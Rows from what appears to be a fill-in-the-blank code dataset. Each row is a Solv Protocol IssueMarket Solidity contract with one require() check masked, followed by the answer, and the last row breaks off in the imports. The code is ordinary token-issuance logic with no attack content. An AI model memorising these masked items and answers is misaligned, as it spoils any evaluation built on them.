import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
IssueVars memory vars;
vars.inputIssueInfo = abi.decode(inputIssueInfo_, (InputIssueInfo));
require(currencies[currency_], "IssueMarket: currency not supported");
require(<FILL_ME>)
require(sftInfos[sft_].issuer == address(0) || sftInfos[sft_].issuer == _msgSender(), "IssueMarket: not issuer");
_validateInputIssueInfo(vars.inputIssueInfo, inputPriceInfo_);
slot_ = ISFTIssuableDelegate(sft_).createSlotOnlyIssueMarket(_msgSender(), inputSlotInfo_);
vars.issueKey = _getIssueKey(sft_, slot_);
PurchaseLimitInfo memory purchaseLimitInfo = PurchaseLimitInfo({
min: vars.inputIssueInfo.min,
max: vars.inputIssueInfo.max,
startTime: vars.inputIssueInfo.startTime,
endTime: vars.inputIssueInfo.endTime,
useWhitelist: vars.inputIssueInfo.whitelist.length > 0 ? true : false
});
IssueInfo memory issueInfo = IssueInfo({
issuer: _msgSender(),
sft: sft_,
slot: slot_,
currency: currency_,
issueQuota: vars.inputIssueInfo.issueQuota,
value: vars.inputIssueInfo.issueQuota,
receiver: vars.inputIssueInfo.receiver,
purchaseLimitInfo: purchaseLimitInfo,
priceType: vars.inputIssueInfo.priceType,
status: IssueStatus.ISSUING
});
issueInfos[vars.issueKey] = issueInfo;
for (uint256 i = 0; i < vars.inputIssueInfo.underwriters.length; i++) {
string memory underwriterName = vars.inputIssueInfo.underwriters[i];
vars.underwriterKey = _getUnderwriterKey(underwriterName);
require(underwriterInfos[vars.underwriterKey].isValid, "IssueMarket: underwriters not supported");
UnderwriterIssueInfo memory underwriterIssueInfo = UnderwriterIssueInfo({
name: underwriterName,
quota: vars.inputIssueInfo.quotas[i],
value: vars.inputIssueInfo.quotas[i]
});
underwriterIssueInfos[vars.underwriterKey][vars.issueKey] = underwriterIssueInfo;
}
priceInfos[vars.issueKey] = inputPriceInfo_;
_whitelistStrategyManager().setWhitelist(vars.issueKey, vars.inputIssueInfo.whitelist);
emit Issue(sft_, slot_, issueInfo, issueInfo.priceType, inputPriceInfo_, vars.inputIssueInfo.underwriters, vars.inputIssueInfo.quotas);
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| sftInfos[sft_].isValid,"IssueMarket: sft not supported" | 251,070 | sftInfos[sft_].isValid |
"IssueMarket: not issuer" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
IssueVars memory vars;
vars.inputIssueInfo = abi.decode(inputIssueInfo_, (InputIssueInfo));
require(currencies[currency_], "IssueMarket: currency not supported");
require(sftInfos[sft_].isValid, "IssueMarket: sft not supported");
require(<FILL_ME>)
_validateInputIssueInfo(vars.inputIssueInfo, inputPriceInfo_);
slot_ = ISFTIssuableDelegate(sft_).createSlotOnlyIssueMarket(_msgSender(), inputSlotInfo_);
vars.issueKey = _getIssueKey(sft_, slot_);
PurchaseLimitInfo memory purchaseLimitInfo = PurchaseLimitInfo({
min: vars.inputIssueInfo.min,
max: vars.inputIssueInfo.max,
startTime: vars.inputIssueInfo.startTime,
endTime: vars.inputIssueInfo.endTime,
useWhitelist: vars.inputIssueInfo.whitelist.length > 0 ? true : false
});
IssueInfo memory issueInfo = IssueInfo({
issuer: _msgSender(),
sft: sft_,
slot: slot_,
currency: currency_,
issueQuota: vars.inputIssueInfo.issueQuota,
value: vars.inputIssueInfo.issueQuota,
receiver: vars.inputIssueInfo.receiver,
purchaseLimitInfo: purchaseLimitInfo,
priceType: vars.inputIssueInfo.priceType,
status: IssueStatus.ISSUING
});
issueInfos[vars.issueKey] = issueInfo;
for (uint256 i = 0; i < vars.inputIssueInfo.underwriters.length; i++) {
string memory underwriterName = vars.inputIssueInfo.underwriters[i];
vars.underwriterKey = _getUnderwriterKey(underwriterName);
require(underwriterInfos[vars.underwriterKey].isValid, "IssueMarket: underwriters not supported");
UnderwriterIssueInfo memory underwriterIssueInfo = UnderwriterIssueInfo({
name: underwriterName,
quota: vars.inputIssueInfo.quotas[i],
value: vars.inputIssueInfo.quotas[i]
});
underwriterIssueInfos[vars.underwriterKey][vars.issueKey] = underwriterIssueInfo;
}
priceInfos[vars.issueKey] = inputPriceInfo_;
_whitelistStrategyManager().setWhitelist(vars.issueKey, vars.inputIssueInfo.whitelist);
emit Issue(sft_, slot_, issueInfo, issueInfo.priceType, inputPriceInfo_, vars.inputIssueInfo.underwriters, vars.inputIssueInfo.quotas);
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| sftInfos[sft_].issuer==address(0)||sftInfos[sft_].issuer==_msgSender(),"IssueMarket: not issuer" | 251,070 | sftInfos[sft_].issuer==address(0)||sftInfos[sft_].issuer==_msgSender() |
"IssueMarket: underwriters not supported" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
IssueVars memory vars;
vars.inputIssueInfo = abi.decode(inputIssueInfo_, (InputIssueInfo));
require(currencies[currency_], "IssueMarket: currency not supported");
require(sftInfos[sft_].isValid, "IssueMarket: sft not supported");
require(sftInfos[sft_].issuer == address(0) || sftInfos[sft_].issuer == _msgSender(), "IssueMarket: not issuer");
_validateInputIssueInfo(vars.inputIssueInfo, inputPriceInfo_);
slot_ = ISFTIssuableDelegate(sft_).createSlotOnlyIssueMarket(_msgSender(), inputSlotInfo_);
vars.issueKey = _getIssueKey(sft_, slot_);
PurchaseLimitInfo memory purchaseLimitInfo = PurchaseLimitInfo({
min: vars.inputIssueInfo.min,
max: vars.inputIssueInfo.max,
startTime: vars.inputIssueInfo.startTime,
endTime: vars.inputIssueInfo.endTime,
useWhitelist: vars.inputIssueInfo.whitelist.length > 0 ? true : false
});
IssueInfo memory issueInfo = IssueInfo({
issuer: _msgSender(),
sft: sft_,
slot: slot_,
currency: currency_,
issueQuota: vars.inputIssueInfo.issueQuota,
value: vars.inputIssueInfo.issueQuota,
receiver: vars.inputIssueInfo.receiver,
purchaseLimitInfo: purchaseLimitInfo,
priceType: vars.inputIssueInfo.priceType,
status: IssueStatus.ISSUING
});
issueInfos[vars.issueKey] = issueInfo;
for (uint256 i = 0; i < vars.inputIssueInfo.underwriters.length; i++) {
string memory underwriterName = vars.inputIssueInfo.underwriters[i];
vars.underwriterKey = _getUnderwriterKey(underwriterName);
require(<FILL_ME>)
UnderwriterIssueInfo memory underwriterIssueInfo = UnderwriterIssueInfo({
name: underwriterName,
quota: vars.inputIssueInfo.quotas[i],
value: vars.inputIssueInfo.quotas[i]
});
underwriterIssueInfos[vars.underwriterKey][vars.issueKey] = underwriterIssueInfo;
}
priceInfos[vars.issueKey] = inputPriceInfo_;
_whitelistStrategyManager().setWhitelist(vars.issueKey, vars.inputIssueInfo.whitelist);
emit Issue(sft_, slot_, issueInfo, issueInfo.priceType, inputPriceInfo_, vars.inputIssueInfo.underwriters, vars.inputIssueInfo.quotas);
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| underwriterInfos[vars.underwriterKey].isValid,"IssueMarket: underwriters not supported" | 251,070 | underwriterInfos[vars.underwriterKey].isValid |
"IssueMarket: sft not supported" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
SubscribeVars memory vars;
require(expireTime_ > block.timestamp, "IssueMarket: expired");
vars.sftInfo = sftInfos[sft_];
require(<FILL_ME>)
vars.buyer = _msgSender();
vars.issueKey = _getIssueKey(sft_, slot_);
IssueInfo storage issueInfo = issueInfos[vars.issueKey];
require(issueInfo.status == IssueStatus.ISSUING, "IssueMarket: not issuing");
require(issueInfo.purchaseLimitInfo.startTime <= block.timestamp, "IssueMarket: issue not start");
require(issueInfo.purchaseLimitInfo.endTime >= block.timestamp, "IssueMarket: issue expired");
require(issueInfo.purchaseLimitInfo.useWhitelist == false || _whitelistStrategyManager().isWhitelisted(vars.issueKey, vars.buyer), "IssueMarket: not whitelisted");
if (issueInfo.value >= issueInfo.purchaseLimitInfo.min) {
require(value_ >= issueInfo.purchaseLimitInfo.min, "IssueMarket: value less than min");
}
if (issueInfo.purchaseLimitInfo.max > 0) {
uint256 purchased = purchasedRecords[vars.issueKey][vars.buyer] + value_;
require(purchased <= issueInfo.purchaseLimitInfo.max, "IssueMarket: value more than max");
purchasedRecords[vars.issueKey][vars.buyer] = purchased;
}
require(issueInfo.value >= value_, "IssueMarket: issue value not enough");
vars.underwriterKey = _getUnderwriterKey(underwriter_);
UnderwriterInfo storage underwriterInfo = underwriterInfos[vars.underwriterKey];
require(underwriterInfo.isValid, "IssueMarket: underwriter not supported");
UnderwriterIssueInfo storage underwriterIssueInfo = underwriterIssueInfos[vars.underwriterKey][vars.issueKey];
require(underwriterIssueInfo.value >= value_, "IssueMarket: underwriter quota not enough");
issueInfo.value -= value_;
underwriterIssueInfo.value -= value_;
if (issueInfo.value == 0) {
issueInfo.status = IssueStatus.SOLD_OUT;
}
vars.price = _priceStrategyManager().getPrice(issueInfo.priceType, priceInfos[vars.issueKey]);
vars.payment = (vars.price * value_)/(10**vars.sftInfo.decimals);
require(vars.price == 0 || vars.payment > 0, "IssueMarket: payment must be greater than 0");
vars.issueFee = _getFee(vars.sftInfo.defaultFeeRate, vars.payment);
vars.underwriterFee = _getFee(underwriterInfo.feeRate, vars.issueFee);
require(vars.issueFee >= vars.underwriterFee, "IssueMarket: issue fee less than underwriter fee");
totalReservedFees[issueInfo.currency] += (vars.issueFee - vars.underwriterFee);
vars.tokenId = ISFTIssuableDelegate(sft_).mintOnlyIssueMarket(_msgSender(), issueInfo.currency, vars.buyer, issueInfo.slot, value_);
ERC20TransferHelper.doTransferIn(issueInfo.currency, vars.buyer, vars.payment);
ERC20TransferHelper.doApprove(issueInfo.currency, _underwriterProfitToken(), vars.underwriterFee);
IMultiRechargeableDelegate(_underwriterProfitToken())
.recharge(underwriterProfitSlot[vars.underwriterKey][issueInfo.currency], issueInfo.currency, vars.underwriterFee);
ERC20TransferHelper.doTransferOut(issueInfo.currency, payable(issueInfo.receiver), vars.payment - vars.issueFee);
emit Subscribe(sft_, slot_, vars.buyer, vars.tokenId, underwriter_, value_, issueInfo.currency,
vars.price, vars.payment, vars.issueFee, vars.underwriterFee);
return (vars.tokenId, vars.payment);
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| vars.sftInfo.isValid,"IssueMarket: sft not supported" | 251,070 | vars.sftInfo.isValid |
"IssueMarket: underwriter not supported" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
import "@solvprotocol/contracts-v3-sft-underwriter-profit/contracts/UnderwriterProfitConcrete.sol";
import "./IssueMarketStorage.sol";
import "./IIssueMarket.sol";
import "./price/IPriceStrategyManager.sol";
import "./whitelist/IWhitelistStrategyManager.sol";
contract IssueMarket is IIssueMarket, IssueMarketStorage, ReentrancyGuardUpgradeable, ResolverCache {
using EnumerableSet for EnumerableSet.Bytes32Set;
function initialize(address resolver_, address owner_) external initializer {
}
struct IssueVars {
InputIssueInfo inputIssueInfo;
bytes32 issueKey;
bytes32 underwriterKey;
}
function issue(address sft_, address currency_, bytes calldata inputSlotInfo_, bytes calldata inputIssueInfo_,
bytes calldata inputPriceInfo_) external payable override nonReentrant returns (uint256 slot_) {
}
struct SubscribeVars {
address buyer;
SFTInfo sftInfo;
bytes32 issueKey;
bytes32 underwriterKey;
uint256 price;
uint256 issueFee;
uint256 underwriterFee;
uint256 tokenId;
uint256 payment;
}
function subscribe(address sft_, uint256 slot_, string calldata underwriter_, uint256 value_, uint64 expireTime_) external payable override nonReentrant returns (uint256, uint256) {
SubscribeVars memory vars;
require(expireTime_ > block.timestamp, "IssueMarket: expired");
vars.sftInfo = sftInfos[sft_];
require(vars.sftInfo.isValid, "IssueMarket: sft not supported");
vars.buyer = _msgSender();
vars.issueKey = _getIssueKey(sft_, slot_);
IssueInfo storage issueInfo = issueInfos[vars.issueKey];
require(issueInfo.status == IssueStatus.ISSUING, "IssueMarket: not issuing");
require(issueInfo.purchaseLimitInfo.startTime <= block.timestamp, "IssueMarket: issue not start");
require(issueInfo.purchaseLimitInfo.endTime >= block.timestamp, "IssueMarket: issue expired");
require(issueInfo.purchaseLimitInfo.useWhitelist == false || _whitelistStrategyManager().isWhitelisted(vars.issueKey, vars.buyer), "IssueMarket: not whitelisted");
if (issueInfo.value >= issueInfo.purchaseLimitInfo.min) {
require(value_ >= issueInfo.purchaseLimitInfo.min, "IssueMarket: value less than min");
}
if (issueInfo.purchaseLimitInfo.max > 0) {
uint256 purchased = purchasedRecords[vars.issueKey][vars.buyer] + value_;
require(purchased <= issueInfo.purchaseLimitInfo.max, "IssueMarket: value more than max");
purchasedRecords[vars.issueKey][vars.buyer] = purchased;
}
require(issueInfo.value >= value_, "IssueMarket: issue value not enough");
vars.underwriterKey = _getUnderwriterKey(underwriter_);
UnderwriterInfo storage underwriterInfo = underwriterInfos[vars.underwriterKey];
require(<FILL_ME>)
UnderwriterIssueInfo storage underwriterIssueInfo = underwriterIssueInfos[vars.underwriterKey][vars.issueKey];
require(underwriterIssueInfo.value >= value_, "IssueMarket: underwriter quota not enough");
issueInfo.value -= value_;
underwriterIssueInfo.value -= value_;
if (issueInfo.value == 0) {
issueInfo.status = IssueStatus.SOLD_OUT;
}
vars.price = _priceStrategyManager().getPrice(issueInfo.priceType, priceInfos[vars.issueKey]);
vars.payment = (vars.price * value_)/(10**vars.sftInfo.decimals);
require(vars.price == 0 || vars.payment > 0, "IssueMarket: payment must be greater than 0");
vars.issueFee = _getFee(vars.sftInfo.defaultFeeRate, vars.payment);
vars.underwriterFee = _getFee(underwriterInfo.feeRate, vars.issueFee);
require(vars.issueFee >= vars.underwriterFee, "IssueMarket: issue fee less than underwriter fee");
totalReservedFees[issueInfo.currency] += (vars.issueFee - vars.underwriterFee);
vars.tokenId = ISFTIssuableDelegate(sft_).mintOnlyIssueMarket(_msgSender(), issueInfo.currency, vars.buyer, issueInfo.slot, value_);
ERC20TransferHelper.doTransferIn(issueInfo.currency, vars.buyer, vars.payment);
ERC20TransferHelper.doApprove(issueInfo.currency, _underwriterProfitToken(), vars.underwriterFee);
IMultiRechargeableDelegate(_underwriterProfitToken())
.recharge(underwriterProfitSlot[vars.underwriterKey][issueInfo.currency], issueInfo.currency, vars.underwriterFee);
ERC20TransferHelper.doTransferOut(issueInfo.currency, payable(issueInfo.receiver), vars.payment - vars.issueFee);
emit Subscribe(sft_, slot_, vars.buyer, vars.tokenId, underwriter_, value_, issueInfo.currency,
vars.price, vars.payment, vars.issueFee, vars.underwriterFee);
return (vars.tokenId, vars.payment);
}
function _validateInputIssueInfo(InputIssueInfo memory input_, bytes memory priceInfo_) internal view {
}
function _getFee(uint16 feeRate_, uint256 payment_) internal pure returns (uint256) {
}
function _getIssueKey(address sft_, uint256 slot_) internal pure returns (bytes32) {
}
function _getUnderwriterKey(string memory underwriteName) internal pure returns (bytes32) {
}
function _priceStrategyManager() internal view returns (IPriceStrategyManager) {
}
function _whitelistStrategyManager() internal view returns (IWhitelistStrategyManager) {
}
function _underwriterProfitToken() internal view returns (address) {
}
function setWhitelist(address sft_, uint256 slot_, address[] calldata whitelist_) external {
}
function addSFTOnlyOwner(address sft_, uint8 decimals_, uint16 defaultFeeRate_, address issuer_) external onlyOwner {
}
function removeSFTOnlyOwner(address sft_) external onlyOwner {
}
function setCurrencyOnlyOwner(address currency_, bool enabled_) external onlyOwner {
}
function addUnderwriterOnlyOwner(string calldata underwriter_, uint16 defaultFeeRate_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function addUnderwriterCurrenciesOnlyOwner(string calldata underwriter_, address[] calldata currencies_, address initialHolder_) public onlyOwner {
}
function _createUnderwriterProfitSlot(string memory underwriter_, address currency_, address initialHolder_) internal {
}
function withdrawFee(address to_, address currency_, uint256 amount_) external onlyOwner {
}
function _resolverAddressesRequired() internal view virtual override returns (bytes32[] memory) {
}
}
| underwriterInfo.isValid,"IssueMarket: underwriter not supported" | 251,070 | underwriterInfo.isValid |
"IssueMarket: priceInfo invalid" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@solvprotocol/erc-3525/IERC3525.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/issuable/ISFTIssuableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/multi-rechargeable/IMultiRechargeableDelegate.sol";
import "@solvprotocol/contracts-v3-sft-abilities/contracts/mintable/ISFTMintableDelegate.sol";
import "@solvprotocol/contracts-v3-address-resolver/contracts/ResolverCache.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/misc/Constants.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/helpers/ERC20TransferHelper.sol";
import "@solvprotocol/contracts-v3-solidity-utils/contracts/access/ISFTDelegateControl.sol";
